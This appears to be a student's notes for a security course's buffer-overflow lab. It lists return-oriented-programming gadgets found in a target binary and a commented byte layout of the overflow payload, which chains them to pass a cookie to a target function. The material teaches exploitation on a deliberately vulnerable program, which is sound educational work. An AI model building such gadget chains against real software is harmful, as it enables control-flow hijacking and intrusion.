blob: d42502888a18b115a450e5e3c4b61747fe983051 (
plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
|
getval_142:
3: |
nop
nop
ret
addval_273:
2: |
movq %rax, %rdi
ret
3: |
movl %eax, %edi
ret
addval_219:
4: |
popq %rax
nop
ret
# 00 00 00 00 00 40 17 ec // return address: call touch2
# 00 00 00 00 00 40 19 a2 // return address: call addval_273+2
# 00 00 00 00 a8 dc 61 55 // cookie: popped into rax
# 00 00 00 00 00 40 19 ab // return address: call addval_219+4
# ef be ad de ef be ad de // rsp - 8
# ef be ad de ef be ad de // rsp - 16
# ef be ad de ef be ad de // rsp - 24
# ef be ad de ef be ad de // rsp - 32
# ef be ad de ef be ad de // rsp - 40
setval_237:
setval_424:
|